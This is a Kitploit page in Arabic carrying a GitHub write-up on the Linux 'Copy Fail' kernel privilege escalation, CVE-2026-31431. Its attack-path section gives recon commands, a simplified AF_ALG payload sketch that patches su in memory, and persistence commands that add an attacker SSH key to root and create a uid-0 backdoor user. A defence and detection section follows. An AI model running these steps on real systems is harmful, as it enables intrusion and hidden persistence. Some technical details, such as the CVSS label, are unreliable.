Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31431-Report-Copy-fail-Vulnerability- — تحليل تفصيلي لثغرة فشل النسخ (CVE-2026-31431) في نواة لينكس، بما في ذلك آلية تلف الذاكرة، وسلسلة تصعيد الامتيازات، والأثر الأمني. | Kitploit
أدوات/GitHubGitHub/krish-foren6/cve-2026-31431-report-copy-fail-vulnerability-
تصعيد الامتيازاتتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليمالاستجابة للحوادثالهروب من الحاوية
GitHubkrish-foren6/cve-2026-31431-report-copy-fail-vulnerability-

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31431-Report-Copy-fail-Vulnerability-

تحليل تفصيلي لثغرة فشل النسخ (CVE-2026-31431) في نواة لينكس، بما في ذلك آلية تلف الذاكرة، وسلسلة تصعيد الامتيازات، والأثر الأمني.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

CVE-2026-31431 — فشل النسخ: تصعيد صلاحيات نواة لينكس

CVE CVSS Kernel Type Purpose

تحليل تعليمي لثغرة فشل النسخ في نواة لينكس.
يغطي آلية تلف الذاكرة، مسار تصعيد الصلاحيات، الهروب من الحاويات، والإجراءات الدفاعية المضادة.


⚠️ إخلاء مسؤولية

هذا المستودع لأغراض تعليمية وبحثية فقط.
لا تستخدم هذه المعلومات على أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
جميع مقتطفات الأكواد والأوامر مقدمة strictly لمساعدة فهم أعماق نواة لينكس.


جدول المحتويات

  • نظرة عامة
  • بطاقة هوية الثغرة
  • مفاهيم أساسية
  • كيف تعمل الثغرة
  • مسار الهجوم الكامل
  • لماذا هي خطيرة جداً
  • ملاحظة عملية آمنة
  • الدفاع والكشف
  • مقارنة مع ثغرات CVE مشابهة
  • مسرد المصطلحات
  • مرجع سريع

نظرة عامة

CVE-2026-31431، المعروفة أيضاً باسم فشل النسخ (Copy Fail)، هي ثغرة في نواة لينكس تسمح لمستخدم محلي غير مميز بتصعيد صلاحياته إلى الجذر (root) دون أي صلاحيات خاصة.

يعمل الهجوم بالكامل في ذاكرة الوصول العشوائي (RAM). لا يتم لمس ملف القرص أبداً — مما يعني أن تجزئات الملفات تبقى نظيفة، الطوابع الزمنية دون تغيير، وسجلات التدقيق لا تسجل شيئاً. عند إعادة تشغيل النظام، تختفي جميع الأدلة.

root@kitploit:~
مستخدم عادي  →  استغلال ثغرة algif_aead  →  الكتابة فوق ذاكرة التخزين المؤقت للصفحات  →  جذر

الخصائص الرئيسية:

  • ✅ لا يوجد سباق (race condition) — يعمل بشكل موثوق في كل مرة
  • ✅ القرص غير ملموس — التحقيقات الجنائية لا تجد شيئاً
  • ✅ يتطلب فقط حساب مستخدم محلي قياسي
  • ✅ يتيح الهروب من الحاويات عبر ذاكرة التخزين المؤقت للصفحات المشتركة

بطاقة هوية الثغرة


مفاهيم أساسية

/usr/bin/su — البرنامج المستهدف

su (تبديل المستخدم) يسمح للمستخدم بالتبديل إلى حساب آخر — عادةً الجذر. وهو ملف ثنائي SetUID:

root@kitploit:~
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = علامة SetUID

علامة s تعني: عندما يقوم أي مستخدم بتشغيل هذا البرنامج، فإنه يعمل بصلاحيات الجذر. وهذا يجعله هدفاً عالي القيمة.

منطقه الداخلي (مبسّط):

root@kitploit:~
if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

هدف الهجوم: تخطي فحص password_correct() بالكامل.


الذاكرة وذاكرة التخزين المؤقت للصفحات

عندما يقرأ لينكس ملفاً من القرص، يحتفظ بنسخة منه في الذاكرة تسمى ذاكرة التخزين المؤقت للصفحات (page cache).

المكوّنالوصف
القرصالملف الأصلي على القرص (رف المكتبة)
ذاكرة التخزين المؤقت للصفحاتنسخة الملف في الذاكرة (النسخة الضوئية على مكتبك)
المعالجيقرأ وينفذ من ذاكرة التخزين المؤقت للصفحات — سريع
المهاجميعدّل نسخة الذاكرة؛ القرص يبقى دون مساس
root@kitploit:~
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← هذه هي ذاكرة التخزين المؤقت للصفحات

المخزن المؤقت والمخزن الآمن

النوعالأمان
مخزن آمن — مخصص من النواة، الحجم والحدود مضبوطة✅ آمن
ذاكرة التخزين المؤقت للصفحات — نسخة ذاكرة مدعومة بملف، مشتركة، قابلة للتنفيذ⚠️ خطيرة إذا تمت الكتابة إليها
مؤشر خاطئ — عنوان ناتج عن ثغرة يشير إلى أي مكان🔴 حرج

AF_ALG و algif_aead

AF_ALG (عائلة الخوارزميات) هي واجهة مقبس في لينكس تسمح لبرامج مساحة المستخدم باستخدام دوال التشفير في النواة (AES، SHA، AEAD).

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0);  // فتح مقبس تشفير

algif_aead هو وحدة النواة التي تتعامل مع تشفير AEAD (مثل AES-GCM) عبر AF_ALG. الثغرة تكمن في خطوة نسخ البيانات الخاصة بها.

root@kitploit:~
AF_ALG  →  algif_aead  →  محرك AES-GCM  →  مخزن الإخراج
                                ↑
                           الثغرة هنا

كيف تعمل الثغرة

الثغرة ليست في منطق التشفير. إنها في إدارة الذاكرة — يتم تحديد منطقة الذاكرة الخاطئة أثناء نسخ البيانات.

التدفق الطبيعي (بدون ثغرة):

root@kitploit:~
destination = safe_output_buffer;       // الموقع الصحيح
memcpy(destination, user_data, size);   // كتابة البيانات بأمان

التدفق المعرض للخطر (مع الثغرة):

root@kitploit:~
destination = buffer + WRONG_OFFSET;    // ثغرة: مؤشر خاطئ!
memcpy(destination, user_data, size);   // البيانات تصل إلى ذاكرة التخزين المؤقت للصفحات

كان من المفترض أن تكتب النواة إلى مخزن الإخراج الآمن. بسبب إزاحة محسوبة بشكل خاطئ، تكتب إلى ذاكرة التخزين المؤقت للصفحات — التي تحتوي على نسخة الذاكرة من /usr/bin/su.

ما يغيّره المهاجم في الذاكرة

يحتوي الملف الثنائي على كود آلة x86-64. يستهدف المهاجم القفزة الشرطية التي تسبب فشل المصادقة:

قبل الهجوم:

root@kitploit:~
cmp  eax, 0     ; فحص قيمة الإرجاع
jne  0x1234     ; إذا فشل → القفز إلى الرفض
call give_root  ; منح الجذر

بعد الهجوم (تغيير 2 بايت في الذاكرة):

root@kitploit:~
cmp  eax, 0     ; نفس الشيء
90 90           ; NOP NOP ← تم استبدال القفزة، تم تخطي الفحص!
call give_root  ; المعالج يصل هنا مباشرة

NOP = لا عملية. المعالج لا يفعل شيئاً ويتقدم للأمام — متخطياً فحص المصادقة بالكامل.


مسار الهجوم الكامل

العقلية قبل الهجوم

"أحتاج فقط حساب مستخدم عادي. النواة سترتكب الخطأ بنفسها.
القرص يبقى نظيفاً. لا سجلات. يعمل في كل مرة."

الخطوة 0 — الاستطلاع

root@kitploit:~
whoami && id
# uid=1000(user) gid=1000(user) ← مستخدم عادي

uname -r
# 6.1.0-generic ← ضمن النطاق المعرض للخطر

ls -la /usr/bin/su
# -rwsr-xr-x root root ← تم تأكيد SetUID

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"

الخطوة 1 — تحميل الملف إلى ذاكرة التخزين المؤقت للصفحات

root@kitploit:~
cat /usr/bin/su > /dev/null
# تم تحميل /usr/bin/su إلى ذاكرة التخزين المؤقت للصفحات ✓

الخطوة 2 — هندسة عكسية للملف الثنائي

root@kitploit:~
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

البحث عن: عنوان دالة المصادقة، القفزة الشرطية jne/jnz، وإزاحة البايت الدقيقة الخاصة بها.

الخطوة 3 — فتح مقبس AF_ALG

root@kitploit:~
import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

الخطوة 4 — إرسال الحمولة المصممة

root@kitploit:~
payload = b'\x90\x90'  # NOP NOP — يستبدل القفزة الشرطية
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

الخطوة 5 — النواة تكتب فوق ذاكرة التخزين المؤقت للصفحات

root@kitploit:~
# داخلياً في النواة (مبسّط):
destination = buffer + crafted_offset  # ثغرة: مؤشر خاطئ
memcpy(destination, payload, 2)        # كتابة بايتات NOP إلى ذاكرة التخزين المؤقت للصفحات
# فحص كلمة مرور /usr/bin/su أصبح الآن NOP NOP في الذاكرة

الخطوة 6 — التشغيل

root@kitploit:~
su
# Password: (أي شيء — أو فقط اضغط Enter)
# root@victim:/# ← تم الحصول على الجذر

ما حدث: نفّذ النظام /usr/bin/su من الذاكرة. كان فحص كلمة المرور NOP. تخطاه المعالج. تم استدعاء give_root() مباشرة.

الخطوة 7 — الاستمرارية (اختياري)

root@kitploit:~
echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

لماذا هي خطيرة جداً

لا يوجد سباق (Race Condition)

القرص غير ملموس — فشل التحقيقات الجنائية

بعد الهجوم، يجد المحقق الجنائي:

root@kitploit:~
sha256sum /usr/bin/su       # نفس التجزئة السابقة ← القرص غير ملموس
diff /usr/bin/su backup/su  # لا فرق
grep -r 'attack' /var/log/  # لا شيء
auditd logs                 # لا تسجيل كتابة ملف

عند إعادة التشغيل، يتم مسح الذاكرة — تختفي جميع الأدلة.

الهروب من الحاويات

تعزل الحاويات مساحة المستخدم — لكن النواة مشتركة، وذاكرة التخزين المؤقت للصفحات هي ذاكرة نواة.

root@kitploit:~
نواة المضيف
├── حاوية 1 (مساحة مستخدم معزولة)
│   └── المهاجم هنا
├── حاوية 2
└── عملية المضيف

ذاكرة التخزين المؤقت للصفحات: مشتركة بين جميع الحاويات والمضيف!

مسار الهروب: المهاجم في الحاوية 1 يقرأ /usr/bin/su الخاص بالمضيف → يطلق الثغرة → يتم تعديل الملف الثنائي للمضيف في الذاكرة → تشغيل su على المضيف يمنح الجذر على جهاز المضيف.

المتأثر: Docker، Podman، LXC، Kubernetes (العقد المشتركة) — إذا كانت نواة المضيف معرضة للخطر.


ملاحظة عملية آمنة

هذه تمارين ملاحظة فقط. استخدم بيئة مختبرية (Docker + جهاز افتراضي بنواة قديمة) لأي اختبار.

ملاحظة ذاكرة التخزين المؤقت للصفحات

root@kitploit:~
free -h                      # لاحظ قيمة Cache قبل
cat /usr/bin/su > /dev/null  # تحميل الملف إلى ذاكرة التخزين المؤقت للصفحات
free -h                      # تزداد Cache قليلاً

عرض تعيين ذاكرة الملف الثنائي

root@kitploit:~
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

فحص الملف الثنائي

root@kitploit:~
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

عرض التجميع (gdb)

root@kitploit:~
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

تجزئة القرص مقابل الذاكرة

root@kitploit:~
sha256sum /usr/bin/su
# نفس القرص عادةً — تختلف بعد هجوم ناجح
# مقارنة /proc/PID/mem تتطلب صلاحيات الجذر

الدفاع والكشف

التخفيف الفوري

الأولوية 1 — تحديث النواة (أفضل حل)

root@kitploit:~
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

الأولوية 2 — تعطيل algif_aead

root@kitploit:~
sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

الأولوية 3 — ضوابط الوصول
طبّق ملفات تعريف seccomp مع SystemCallFilter في خدمات systemd لتقييد وصول مقبس AF_ALG للعمليات غير الموثوقة.


الكشف

كشف eBPF في الوقت الفعلي

root@kitploit:~
sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
  }
'

تقوية الحاويات

root@kitploit:~
# التشغيل مع ملف تعريف seccomp (يمنع AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
  • استخدم ملفات تعريف seccomp التي تمنع إنشاء مقبس AF_ALG
  • استخدم gVisor أو عزل نواة مشابه لأحمال العمل عالية الخطورة
  • تجنب الحاويات المميزة (privileged)
  • اضبط نظام ملفات الجذر للقراءة فقط داخل الحاويات
  • طبّق معايير أمان Pod في Kubernetes — سياسة restricted

مقارنة مع ثغرات CVE مشابهة

يجمع CVE-2026-31431 بين التخفي (القرص دون تغيير) + الموثوقية (لا سباق) + الهروب من الحاويات — مما يجعله فريداً في خطورته بين فئته.


مسرد المصطلحات


مرجع سريع

مسار الهجوم في لمحة

قائمة التحقق الدفاعية

  • تحديث النواة إلى الإصدار المصحح فوراً
  • تعطيل وحدة algif_aead إذا لم تكن مطلوبة
  • تفعيل مراقبة eBPF أو Falco على مستوى النواة
  • تحديث ملفات تعريف seccomp للحاويات لمنع AF_ALG
  • جدولة فحوصات سلامة الملفات الثنائية القائمة على الذاكرة
  • مراجعة وتحديث خطة الاستجابة للحوادث

الخلاصة في سطر واحد

في CVE-2026-31431، تحتوي وحدة التشفير في لينكس (algif_aead) على ثغرة في نسخ الذاكرة تتسبب في وصول بيانات يتحكم بها المهاجم إلى ذاكرة التخزين المؤقت للصفحات بدلاً من مخزن الإخراج الآمن — مما يعدّل بصمت ملفاً ثنائياً SetUID في الذاكرة — ويسمح لأي مستخدم محلي بالحصول على صلاحيات الجذر دون ترك أي أثر على القرص.


تم إعداد هذا المستند لفهم تعليمي لأسرار أمان نواة لينكس الداخلية.
— لأغراض تعليمية فقط —

📄 التقرير الكامل (PDF)

👉 تحميل التقرير الكامل

تنزيل الأداة
الحقلالقيمة
معرّف CVECVE-2026-31431
الاسم الشائعفشل النسخ / تلف ذاكرة التخزين المؤقت للصفحات algif_aead
درجة CVSS v3.17.8 — حرجة
نوع الهجومتصعيد صلاحيات محلي (LPE)
إصدارات النواة المتأثرةلينكس 5.10 حتى 6.8 (تقريباً)
المكوّن المعرض للخطرcrypto/algif_aead.c — واجهة مقبس AF_ALG
موثوقية الاستغلالعالية — لا يتطلب سباق (race condition)
أدلة على القرصلا شيء — تعديل في الذاكرة فقط
تأثير الحاوياتنعم — هروب من المضيف عبر ذاكرة التخزين المؤقت للصفحات المشتركة
حالة التصحيحمتاح (تم إصدار تصحيح نواة من المنبع)
CVEسباق؟القرص آمن؟الموثوقية
CVE-2016-5195 DirtyCowنعم — يتطلب توقيتاًلا — تم تعديل القرصمتوسطة
CVE-2022-0847 DirtyPipeضئيلنعم — الذاكرة فقطعالية
CVE-2026-31431 فشل النسخلا — كتابة مباشرةنعم — الذاكرة فقطعالية جداً
طريقة الكشفتعمل؟
sha256sum / تجزئة الملف❌ القرص متطابق
الطابع الزمني لتعديل الملف❌ القرص غير ملموس
سجلات كتابة ملفات auditd❌ لم تحدث كتابة على القرص
فحص ذاكرة العملية (/proc)✅ فقط إذا تمت المراقبة في الوقت الفعلي
مراقبة نواة eBPF✅ كشف على مستوى استدعاءات النظام
تحليل الذاكرة الجنائي (LiME)✅ لكنه معقد
الطريقةالأمر / الأسلوب
إصدار النواةuname -r → قارن مع الإصدار المصحح
الوحدة محملة؟lsmod | grep algif_aead
مراقبة eBPFbpftrace -e 'kprobe:algif_aead_sendmsg { ... }'
ذاكرة العمليةcat /proc/PID/maps — قارن مع تجزئة القرص
auditdausearch -sc socket -sv no
Falcoقاعدة: memfd غير متوقع أو كتابة في ذاكرة التخزين المؤقت للصفحات
تحليل الذاكرة الجنائيتفريغ LiME لتحليل ما بعد الحادث
CVE / الاسمسباق؟القرص آمن؟هروب من الحاويات؟الموثوقية
CVE-2016-5195 DirtyCowنعم — يتطلب توقيتاً❌ تم تعديل القرصجزئيمتوسطة
CVE-2022-0847 DirtyPipeضئيل✅ الذاكرة فقطنعمعالية
CVE-2026-31431 فشل النسخلا — كتابة مباشرة✅ الذاكرة فقطنعم — ذاكرة مشتركةعالية جداً
المصطلحالمعنى
تصعيد الصلاحياتالانتقال من مستخدم عادي إلى الجذر دون إذن
ذاكرة التخزين المؤقت للصفحاتنسخة من ملف مخزنة في الذاكرة، تديرها النواة
ملف ثنائي SetUIDملف مملوك للجذر يعمل بصلاحيات الجذر لأي مستخدم
بدائية الكتابةقدرة كتابة ذاكرة عشوائية يتم الحصول عليها عبر ثغرة
سباق (Race Condition)هجوم قائم على التوقيت يتطلب نافذة تنفيذ دقيقة
AF_ALGواجهة مقبس التشفير في نواة لينكس (عائلة الخوارزميات)
algif_aeadوحدة تشفير AEAD في النواة — المكوّن المعرض للخطر
memcpy()دالة نسخ الذاكرة — تنقل البيانات من عنوان إلى آخر
NOPلا عملية — تعليمة معالج لا تفعل شيئاً وتتقدم
الهروب من الحاوياتالخروج من حاوية للوصول إلى نظام المضيف
eBPFأداة مراقبة على مستوى النواة لكشف استدعاءات النظام في الوقت الفعلي
LiMEمستخرج ذاكرة لينكس — أداة تفريغ الذاكرة للتحليل الجنائي
Seccompالحوسبة الآمنة — آلية لينكس لتقييد استدعاءات النظام
ELFتنسيق قابل للتنفيذ والربط — تنسيق الملفات الثنائية القياسي في لينكس
CVEالثغرات والمخاطر الشائعة — معرّف الثغرات
CVSSنظام تسجيل الثغرات المشترك — تسجيل خطورة موحد
وحدة النواةإضافة للنواة (مثل برامج تشغيل الأجهزة، معالجات التشفير)
الإزاحةالمسافة بالبايتات من نقطة ذاكرة إلى أخرى
الهندسة العكسيةتحليل ملف ثنائي مُجمّع دون الوصول إلى الكود المصدري
الخطوةالإجراء
1whoami — تأكد أنك مستخدم عادي
2uname -r — تحقق أن النواة ضمن النطاق المعرض للخطر (5.10 – 6.8)
3ls -la /usr/bin/su — تأكد من وجود علامة SetUID
4تشغيل سكربت الاستغلال: AF_ALG → algif_aead → حمولة مصممة
5تطلق ثغرة النواة → يتم الكتابة فوق ذاكرة التخزين المؤقت للصفحات لـ /usr/bin/su في الذاكرة
6تشغيل su → تم الحصول على الجذر (بدون كلمة مرور)
7الاستمرارية: إضافة مفتاح SSH أو إنشاء مستخدم جذر خلفي